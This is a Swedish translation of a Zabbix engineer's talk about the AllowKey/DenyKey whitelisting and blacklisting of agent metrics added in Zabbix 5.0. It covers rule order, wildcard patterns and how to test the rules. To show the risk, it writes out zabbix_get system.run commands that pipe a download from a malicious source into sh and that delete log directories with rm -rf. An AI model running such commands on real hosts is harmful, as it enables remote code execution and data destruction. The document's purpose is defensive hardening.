Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Stöd för svartlista och vitlista för mätvärden på agentsidan

Tikhon Uskov, Integrationsingenjör, Zabbix

Datasäkerhetsproblem

Zabbix 5.0 har en ny funktion som låter dig förbättra säkerheten i system som använder Zabbix Agent och ersätter den gamla parametern Aktivera fjärrkommandon.

Förbättringar av säkerheten för agentbaserade system beror på det faktum att en agent kan utföra ett stort antal potentiellt farliga åtgärder.

  • Agenten kan samla in nästan all information, inklusive konfidentiell eller potentiellt farlig information, från konfigurationsfiler, loggfiler, lösenordsfiler eller andra filer.

Till exempel, med hjälp av verktyget zabbix_get kan du komma åt en lista över användare, deras hemkataloger, lösenordsfiler, etc.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Få åtkomst till data med hjälp av verktyget zabbix_get

NOTERA. Data kan endast hämtas om agenten har läsbehörighet för motsvarande fil. Men till exempel filen /etc/passwd/ läsbar för alla användare.

  • Agenten kan också utföra potentiellt farliga kommandon. Till exempel, tangent *system.run[]** låter dig köra alla fjärrkommandon på nätverksnoder, inklusive att köra skript från Zabbix webbgränssnitt som också kör kommandon på agentsidan.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • På Linux körs agenten som standard utan root-privilegier, medan den på Windows körs som en tjänst som System och har obegränsad tillgång till filsystemet. Följaktligen, om inga ändringar görs i Zabbix Agent-parametrarna efter installationen, har agenten tillgång till registret, filsystemet och kan utföra WMI-frågor.

I tidigare versioner parametern EnableRemoteCommands=0 tillåts endast att inaktivera mätvärden med nyckeln *system.run[]** och köra skript från webbgränssnittet, men det fanns inget sätt att begränsa åtkomsten till enskilda filer, tillåta eller inaktivera enskilda nycklar som installerades med agenten eller begränsa användningen av individuella parametrar.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Använder parametern EnableRemoteCommand i tidigare versioner av Zabbix

AllowKey/DenyKey

Zabbix 5.0 hjälper till att skydda mot sådan obehörig åtkomst genom att tillhandahålla vitlistor och svartlistor för att tillåta och neka mätvärden på agentsidan.

I Zabbix 5.0 alla nycklar, inklusive *system.run[]** är aktiverade och två nya agentkonfigurationsalternativ har lagts till:

AllowKey= — Tillåtna kontroller.

DenyKey= — Förbjudna kontroller.

där är ett nyckelnamnsmönster med parametrar som använder metatecken (*).

Med nycklarna AllowKey och DenyKey kan du tillåta eller neka individuella mätvärden baserat på ett specifikt mönster. Till skillnad från andra konfigurationsparametrar är antalet AllowKey/DenyKey-parametrar inte begränsat. Detta gör att du tydligt kan definiera vad exakt agenten kan göra i systemet genom att skapa ett träd av kontroller - körbara nycklar, där ordningen i vilka de skrivs spelar en mycket viktig roll.

Sekvens av regler

Reglerna kontrolleras i den ordning som de matas in i konfigurationsfilen. Nyckeln kontrolleras enligt reglerna före den första matchningen, och så snart nyckeln för dataelementet matchar mönstret är den tillåten eller nekad. Efter detta stoppas regelkontrollen och de återstående nycklarna ignoreras.

Därför, om ett element matchar både en tillåt- och en neka-regel, kommer resultatet att bero på vilken regel som kommer först i konfigurationsfilen.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

2 olika regler med samma mönster och en nyckel vfs.file.size[/tmp/fil]

Ordningsföljden för användning av AllowKey/DenyKey-nycklarna:

  1. exakta regler,
  2. generella regler,
  3. förbudsregel.

Om du till exempel behöver tillgång till filer i en viss mapp måste du först tillåta åtkomst till dem och sedan neka allt annat som inte faller inom de fastställda behörigheterna. Om avvisningsregeln används först, kommer åtkomst till mappen att nekas.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Rätt sekvens

Om du behöver tillåta två verktyg att köra via *system.run[]**, och deny-regeln kommer att specificeras först, kommer verktygen inte att startas, eftersom det första mönstret alltid matchar valfri nyckel, och efterföljande regler kommer att ignoreras.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Fel sekvens

Mönster

Grundläggande regler

Mönster är ett uttryck med jokertecken. Metatecken (*) matchar valfritt antal tecken på en specifik position. Metatecken kan användas både i nyckelnamnet och i parametrar. Till exempel kan du strikt definiera den första parametern med text, och ange den efterföljande som jokertecken.

Parametrar måste anges inom hakparenteser [].

  • system.run[* - felaktig
  • vfs.file*.txt] - felaktig
  • vfs.file.*[*] - rätt

Exempel på användning av jokertecken.

  1. I nyckelnamnet och i parametern. I det här fallet motsvarar nyckeln inte en liknande nyckel som inte innehåller en parameter, eftersom vi i mönstret angav att vi vill ta emot ett visst slut på nyckelnamnet och en viss uppsättning parametrar.
  2. Om mönstret inte använder hakparenteser tillåter mönstret alla nycklar som inte innehåller parametrar och nekar alla nycklar som innehåller den angivna parametern.
  3. Om nyckeln skrivs i sin helhet och parametrarna är specificerade som jokertecken, kommer den att matcha vilken liknande nyckel som helst med vilken som helst parametrar och kommer inte att matcha nyckeln utan hakparenteser, d.v.s. den kommer att tillåtas eller nekas.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Regler för att fylla i parametrar.

  • Om en nyckel med parametrar är avsedd att användas måste parametrarna anges i konfigurationsfilen. Parametrar måste anges som en metatecken. Det är nödvändigt att noggrant neka åtkomst till någon fil och ta hänsyn till vilken information måttet kan ge under olika stavningar - med och utan parametrar.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Funktioner för att skriva nycklar med parametrar

  • Om en nyckel anges med parametrar, men parametrarna är valfria och specificerade som en metatecken, kommer en nyckel utan parametrar att lösas. Om du till exempel vill inaktivera mottagning av information om belastningen på CPU:n och specificera att nyckeln system.cpu.load[*] ska inaktiveras, glöm inte att nyckeln utan parametrar kommer att returnera det genomsnittliga belastningsvärdet.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Regler för att fylla i parametrar

Anmärkningar

justering

  • Vissa regler kan inte ändras av användaren, till exempel upptäcktsregler eller regler för automatisk registrering av agenter. AllowKey/DenyKey-regler påverkar inte följande parametrar:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTERA. Om en administratör inaktiverar en nyckel, när den frågas, ger Zabbix ingen information om varför måttet eller nyckeln faller i kategorin 'STÖDS INTE'. Information om förbud mot att utföra fjärrkommandon visas inte heller i agentloggfilerna. Detta är av säkerhetsskäl, men kan komplicera felsökning om mätvärden faller i en kategori som inte stöds av någon anledning.

  • Du bör inte lita på någon specifik ordning för att ansluta externa konfigurationsfiler (till exempel i alfabetisk ordning).

Kommandoradsverktyg

Efter att ha ställt in reglerna måste du se till att allt är korrekt konfigurerat.

Du kan använda ett av tre alternativ:

  • Lägg till ett mått till Zabbix.
  • Testa med zabbix_agentd. Zabbix-agent med option -print (-p) visar alla nycklar (som är tillåtna som standard) förutom de som inte är tillåtna av konfigurationen. Och med alternativet -test (-t) för en förbjuden nyckel kommer tillbaka 'Objektnyckel som inte stöds".
  • Testa med zabbix_get. Verktyg zabbix_get med option -k kommer att återvända 'ZBX_NOTSUPPORTED: Okänd statistik".

Tillåt eller neka

Du kan neka åtkomst till en fil och verifiera, till exempel med hjälp av verktyget zabbix_getatt åtkomst till filen nekas.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

**

NOTERA. Citat i parametern ignoreras.

I det här fallet kan åtkomst till en sådan fil tillåtas via en annan sökväg. Till exempel om en symbollänk leder till den.

Stöd för svartlista och vitlista för mätvärden på agentsidan i Zabbix 5.0

Det rekommenderas att kontrollera olika alternativ för att tillämpa de angivna reglerna, och även ta hänsyn till möjligheterna att kringgå förbuden.

Frågor och svar

Fråga. Varför valdes ett så komplext mönster med ett eget språk för att beskriva regler, tillstånd och förbud? Varför gick det inte att använda till exempel de reguljära uttryck som Zabbix använder?

Svar. Detta är ett problem med regexprestanda eftersom det vanligtvis bara finns en agent och den kontrollerar ett stort antal mätvärden. Regex är en ganska tung operation och vi kan inte kontrollera tusentals mätvärden på detta sätt. Jokertecken - en universell, allmänt använd och enkel lösning.

Fråga. Ingår inte Inkludera-filerna i alfabetisk ordning?

Svar. Så vitt jag vet är det praktiskt taget omöjligt att förutse i vilken ordning reglerna kommer att tillämpas om man sprider reglerna över olika filer. Jag rekommenderar att du samlar alla AllowKey/DenyKey-regler i en Include-fil, eftersom de interagerar med varandra, och inkluderar den här filen.

Fråga. I Zabbix 5.0 alternativet 'EnableRemoteCommands=' saknas i konfigurationsfilen och endast AllowKey/DenyKey är tillgängliga?

Svar. Ja det stämmer.

Tack för din uppmärksamhet!

Källa: will.com

Lägg en kommentar